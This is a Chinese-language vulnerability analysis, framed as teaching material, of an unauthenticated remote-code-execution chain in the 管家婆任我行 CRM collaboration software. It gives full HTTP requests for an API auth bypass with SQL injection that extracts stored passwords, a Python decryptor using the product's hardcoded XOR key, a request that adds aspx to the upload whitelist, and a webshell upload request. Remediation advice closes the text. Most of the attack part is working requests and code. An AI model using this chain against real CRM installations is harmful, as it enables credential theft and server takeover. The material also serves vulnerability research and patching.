管家婆任我行CRM协同普及版未授权RCE漏洞分析
字数 1239 2025-08-22 18:37:27

管家婆任我行CRM协同普及版未授权RCE漏洞分析教学文档

漏洞概述

本教学文档详细分析管家婆任我行CRM协同普及版(2024/02版本)存在的多个安全漏洞,包括:

  1. 逻辑绕过访问API接口漏洞
  2. SQL注入获取加密密码漏洞
  3. 任意文件上传导致远程代码执行漏洞

漏洞分析

1. 逻辑绕过访问API接口漏洞

技术背景

  • 系统采用.NET MVC架构编写
  • 有两个主要基类:ControllerApiController
  • 访问控制逻辑在这两个基类中实现方式不同

漏洞细节

CrmBaseController

  • 继承自Controller,是大多数自定义Action的基类
  • Initialize方法中仅对GET请求做了限制,POST请求可绕过
  • 但几乎所有Controller子类在数据库操作前都会通过base.CRMContext获取数据库实例
  • 未授权时base.CRMContext为null,导致大多数继承Controller子类的action无法访问

ApiController

  • 通过/api/*访问系统实现的Action
  • 访问控制逻辑在GraspCRMLoginUser.curloginUser中实现
  • OpenApiBaseApiController设置了ApiSecurityAttribute过滤器校验accesstoken
  • 其他apiController未实现filter,可通过访问/api/OpenApi/[Other controller]/[method]绕过登陆

2. SQL注入获取加密密码漏洞

漏洞位置

  • CommonDictController下的Edit方法存在SQL注入
  • Name参数可控,最终进入GetWhere方法

利用方式

构造以下数据包进行报错注入:

POST /crm/api/OpenApi/CommonDict/Edit?accesstoken=1&accesskey=1&timestamp=1&nonce=1&signature=1 HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

enumType=69&data={"ID":"1","Name":"'+and+1=(select+top+1+Password+from+CRM_LoginUser)--"}

密码解密方法

系统密码采用异或加密,key为硬编码的"AceCRMBestLover":

def decrypt(encrypted_str):
    if len(encrypted_str) == 0:
        return encrypted_str
    key = "AceCRMBestLover"
    key_length = len(key)
    decrypted_str = ""
    encrypted_parts = encrypted_str.split('+')
    for encrypted_part in encrypted_parts:
        if encrypted_part != '':
            decrypted_part = int(encrypted_part) - 13
            decrypted_str += chr(decrypted_part)
    decrypted_array = list(decrypted_str)
    for i in range(0, len(decrypted_array), key_length):
        for j in range(key_length):
            if i + j < len(decrypted_array):
                decrypted_array[i + j] = chr(ord(decrypted_array[i + j]) ^ ord(key[j]))
                if ord(decrypted_array[i + j]) == 0:
                    decrypted_array[i + j] = key[j]
    return ''.join(decrypted_array)

encrypted_text = "61+33+114+127+109+139+131+"
decrypted_text = decrypt(encrypted_text)
print("Decrypted Text:", decrypted_text)

3. 任意文件上传漏洞

漏洞位置

  • /Handlers/AnnexUploadHandler.ashx路由存在文件上传功能
  • 上传文件后缀受annexConfigInfo.UploadFileExtType限制
  • 但可通过/SystemManage/SystemConfigIndex/新增白名单绕过

利用步骤

步骤1:获取管理员密码
使用SQL注入获取加密密码并解密

步骤2:新增上传文件后缀白名单
构造以下数据包添加aspx到白名单:

POST /crm/SystemManage/SystemConfigIndex/ HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 870

CorpName=1&CorpAddress=1&CorpPhone=028-85311111&CorpFax=028-11111111&CorpWebSiteHome=http%3A%2F%2Fwww.wecrm.com&Post=610046&LimitLoginIP=true&FullIndexEnable=true&IsAutoConvertPic=false&AdminAccountIpBind=false&AdminAccountIPBindAddress=&EnabledCountdown=true&CountdownTitle=234&CountdownTime=2012-09-30&UploadFileMaxSize=10240&UploadFileExtType=gif%2Cpng%2Cjpge%2Cjpg%2Cbmp%2Crar%2Czip%2C7z%2Cxls%2Cmpp%2Cppt%2Cxlsx%2Cdoc%2Cdocx%2Cpptx%2Cswf%2Cflv%2Cpsd%2Ctxt%2Crtf%2Ciso%2Cdwg%2Ccdr%2Cngr%2Ctt+f%2Cavi%2Crmvb%2Cmpp%2Cvsd%2Cmts%2Cwav%2Cmp3%2Cwma%2Caspx&MobileUploadOtherFile=false&AllowExportMaxPageCount=20&MaxMessageKeepDate=7&ImShowHeadPic=true&MsgReceiveMethod=Queue&RepeatLogin=true&AutoUpGrade=false&AutoUpGradeNotifier=&LoginPosition=1&LoginBackImgType=1&QtyPrecision=4&PricePrecision=4&TotalPrecision=4&DiscountPrecision=2&TaxRatePrecision=0&DiscountFirst=false

步骤3:上传webshell
构造以下数据包上传aspx文件:

POST /crm/Handlers/AnnexUploadHandler.ashx HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=8c762bd4e8b2ad796aee7d4bd1efba65
Content-Length: 655

--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="filename"; filename="1.aspx"
<%= "hacked!" %>
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="imgCompressWidth"; filename="imgCompressWidth"
100
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="imgCompressHeight"; filename="imgCompressHeight"
100
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="isTemp"; filename="isTemp"
false
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="isSynWeixin"; filename="isSynWeixin"
false
--8c762bd4e8b2ad796aee7d4bd1efba65--

修复建议

  1. 对所有API接口统一实施严格的身份验证机制
  2. 修复CommonDictController中的SQL注入漏洞,使用参数化查询
  3. 加强文件上传功能的安全控制:
    • 限制上传文件类型
    • 禁止用户修改上传白名单
    • 对上传文件进行内容检查
  4. 改进密码加密方式,避免使用固定密钥的简单异或加密
  5. 对所有Controller实施一致的访问控制策略
管家婆任我行CRM协同普及版未授权RCE漏洞分析教学文档 漏洞概述 本教学文档详细分析管家婆任我行CRM协同普及版(2024/02版本)存在的多个安全漏洞,包括: 逻辑绕过访问API接口漏洞 SQL注入获取加密密码漏洞 任意文件上传导致远程代码执行漏洞 漏洞分析 1. 逻辑绕过访问API接口漏洞 技术背景 系统采用.NET MVC架构编写 有两个主要基类: Controller 和 ApiController 访问控制逻辑在这两个基类中实现方式不同 漏洞细节 CrmBaseController : 继承自 Controller ,是大多数自定义Action的基类 在 Initialize 方法中仅对GET请求做了限制,POST请求可绕过 但几乎所有Controller子类在数据库操作前都会通过 base.CRMContext 获取数据库实例 未授权时 base.CRMContext 为null,导致大多数继承Controller子类的action无法访问 ApiController : 通过 /api/* 访问系统实现的Action 访问控制逻辑在 GraspCRMLoginUser.curloginUser 中实现 OpenApiBaseApiController 设置了 ApiSecurityAttribute 过滤器校验 accesstoken 其他apiController未实现filter,可通过访问 /api/OpenApi/[Other controller]/[method] 绕过登陆 2. SQL注入获取加密密码漏洞 漏洞位置 CommonDictController 下的 Edit 方法存在SQL注入 Name 参数可控,最终进入 GetWhere 方法 利用方式 构造以下数据包进行报错注入: 密码解密方法 系统密码采用异或加密,key为硬编码的"AceCRMBestLover": 3. 任意文件上传漏洞 漏洞位置 /Handlers/AnnexUploadHandler.ashx 路由存在文件上传功能 上传文件后缀受 annexConfigInfo.UploadFileExtType 限制 但可通过 /SystemManage/SystemConfigIndex/ 新增白名单绕过 利用步骤 步骤1:获取管理员密码 使用SQL注入获取加密密码并解密 步骤2:新增上传文件后缀白名单 构造以下数据包添加aspx到白名单: 步骤3:上传webshell 构造以下数据包上传aspx文件: 修复建议 对所有API接口统一实施严格的身份验证机制 修复 CommonDictController 中的SQL注入漏洞,使用参数化查询 加强文件上传功能的安全控制: 限制上传文件类型 禁止用户修改上传白名单 对上传文件进行内容检查 改进密码加密方式,避免使用固定密钥的简单异或加密 对所有Controller实施一致的访问控制策略